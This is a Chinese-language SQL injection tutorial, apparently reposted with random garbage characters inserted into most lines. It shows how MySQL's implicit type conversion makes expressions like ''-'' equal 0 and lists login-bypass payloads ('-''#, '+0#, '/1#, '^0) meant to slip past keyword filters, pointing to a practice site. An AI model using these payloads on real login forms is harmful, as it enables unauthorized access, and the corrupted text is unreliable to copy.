我们先来看这样一个场景。
! p8 A. d1 N4 s% L& `3 U有以下表结构: 7 s- h' F* h& A. Z0 a8 \, e' N3 v7 a
6 n* }$ m/ I3 n$ k- p3 ~2 r" e1 v
mysql> desc admin;3 Q- h( J4 {& z2 h3 t
+----------+--------------+------+-----+---------+----------------+% ?6 C7 J# S# T7 E8 s! A* r4 [
| Field | Type | Null | Key | Default | Extra |
3 q9 H2 I/ a0 @! _: E+----------+--------------+------+-----+---------+----------------+
5 K. o$ ?1 ~+ }' M4 a( |2 ]4 s| id | mediumint(9) | NO | PRI | NULL | auto_increment |
2 y- h( Y( p& L3 f/ @. p| name | char(32) | NO | UNI | NULL | |9 d; m$ z: y2 V3 k1 Z) c/ _- O
| password | char(32) | NO | UNI | NULL | |7 N+ H7 V7 f5 X( o7 t
+----------+--------------+------+-----+---------+----------------+
- z- I [: R& [5 k; z9 C3 rows in set (0.00 sec)9 d, g* U" b4 W0 r9 d2 p+ J% L
执行select * from admin;,成功返回所有记录内容。
6 l. I S# D' d* q5 Q2 H+ C' s- @
% o# k P c& H% \
. I4 \! |" h( f; T+----+--------+----------------------------------+
- C$ \) e3 a, j0 t0 h7 h| id | name | password |6 c. c# l e) K" z! d x' z! |
+----+--------+----------------------------------+
( s) o4 m: @) `3 b4 U" l$ e+ W" u| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |" x* \- m' x9 c Z3 N9 }7 p
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
D1 p) d1 u2 i, n J| 4 | n00b | ff80e8508d39047460921792273533a4 |
- h1 L$ L6 w* K6 k+----+--------+----------------------------------+ J* c; j$ B- G6 o2 S6 a
3 rows in set (0.00 sec)% p" z. u" [1 P7 _; y
执行select * from admin where name=”;,没有匹配到任何记录。 - a$ b: ~1 u! X% T- |2 ?7 T
}5 B0 T& D/ z/ |9 K2 omysql> select * from admin where name = '';# h6 k. m, { k* Q* g) X0 e3 J
Empty set (0.00 sec)
; Q8 D% h: A2 h( t那么我们来执行select * from admin where name = ”-”;
) u" T2 j8 I% H" [ m' B; t" {2 ?& w: ?) \/ b U
& K8 N5 r, M/ v, \" D# t, V9 C+----+--------+----------------------------------+
4 m! v* w8 I% R# O- _/ w7 ~% M| id | name | password |
0 X1 D9 T' P* f) w6 j+----+--------+----------------------------------+" Q8 f4 F" n2 h4 |
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |; d9 {! X* v+ S! M
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
3 | a( k, J: s| 4 | n00b | ff80e8508d39047460921792273533a4 |
; R5 ] N6 T: h' c% u( c/ g+----+--------+----------------------------------+
- g/ i8 e+ I# T4 j3 rows in set, 3 warnings (0.00 sec)
! i' ~& d/ u' f可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
/ f' K2 ~9 V7 A; |. _) L
- n! {3 b/ W& O4 t) ymysql> show warnings;- q- P ?4 M3 a3 \2 r
+---------+------+------------------------------------------
, F5 }& `$ N" d* ?| Level | Code | Message4 i+ Y. a( x9 k/ J% w
+---------+------+------------------------------------------
6 @% I6 }+ @7 M1 A% `* T- F$ D a| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin7 D$ s r( W* \2 F" n% d0 j* @$ v* c/ X
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
1 L. x9 ]) p3 Q) y2 T| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
+ P3 t {9 n# }0 k6 y+---------+------+------------------------------------------ i q+ {4 m" l3 b- h# ? g
3 rows in set (0.00 sec)) r; O0 x/ l. f: J' \( S
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
# x' d) n. ], P( w* ~' N5 b8 W' u* I; Y# W. E
mysql> select ''-'';) P# A3 X% U2 w. p* a/ w
+-------+" D: T- Q1 k$ j1 \6 r- e
| ''-'' |5 e, d1 ~3 F& ]4 I8 D
+-------+
8 l7 O. K* j1 B4 X% P| 0 |
6 M9 k7 e, F" k2 C* ]9 Y$ |+-------+
' U( @ y/ e7 H1 W- X, t1 row in set (0.00 sec)& S1 R. }0 f# A# K) r
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 4 q# c) {6 U( Q. ?3 p5 ^0 h8 m% M
6 h& d, {9 U8 Jmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+ ?- A5 g: S. G6 P4 j+-----------------------------------------------------+/ g& W& [( R9 H0 ^$ o' S/ h( J
| CAST((select name from admin limit 1,1) as DECIMAL) |
7 Q; v% g: }$ }, V+-----------------------------------------------------+; O% v+ T$ s3 p5 i' R
| 0 |+ a9 c1 L% u: ?
+-----------------------------------------------------+- {, k) s7 m6 H& U" K, ]
1 row in set, 1 warning (0.00 sec)! O3 G2 Y5 e* X6 I8 ]2 u
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ! c, N' a7 u% q0 n! ]1 l2 a s3 ?
/ d1 [( N: v: {8 }SQL注入场景: http://www.sqlzoo.net/hack/
+ C* {& }1 j/ Y# Q; M$ m$ {/ s" }- z
8 \8 R" N% c3 T4 @5 |* w5 |8 V1 D! T8 @% u' o/ X# `' B8 a0 r
+ S# z& G- i; T2 X9 E( v; T# g0 m. b. K3 `5 E
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 , i+ `$ c( X( d# M& V
: M4 @# q" j8 }1 m4 y. V3 N
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 - E& R/ \3 V" I4 n& H
9 Y. u1 A- }1 e1 B
( W2 D8 f" O" z
" n8 _, a( O$ Z& v8 z, m0 n% A
' m( ?% S6 q) R7 }3 K1 Q* ^) ~! G仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
, M6 z0 ^: ~) \3 `
; v$ e8 x. w: a: @) g% `" H % d" a% A8 T r
% s: p$ U; o6 `! }. n+ J: U
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
# T2 k# e* y, N) o% }. j) A! S6 A8 K/ c8 a/ B
4 Z- Z) S( c6 Xmysql> select ''/1;
; `. L+ R5 E0 C5 I/ N+------+
# q! U+ x" \2 S| ''/1 |
: _' J, S! |! E# h+ y" f( a+------+# h! Q/ p4 [8 O+ R! }; t j' E/ H
| 0 |+ a0 O+ {. O9 c& U
+------+$ [ E' D; V* \5 m5 d# C$ S
1 row in set (0.00 sec). {3 F9 ^' @/ {* k2 w
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ; ]' ?' a2 O# D
! b- s2 `) L8 _ G" }
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
4 ?, B. ]+ ]+ \, h |
|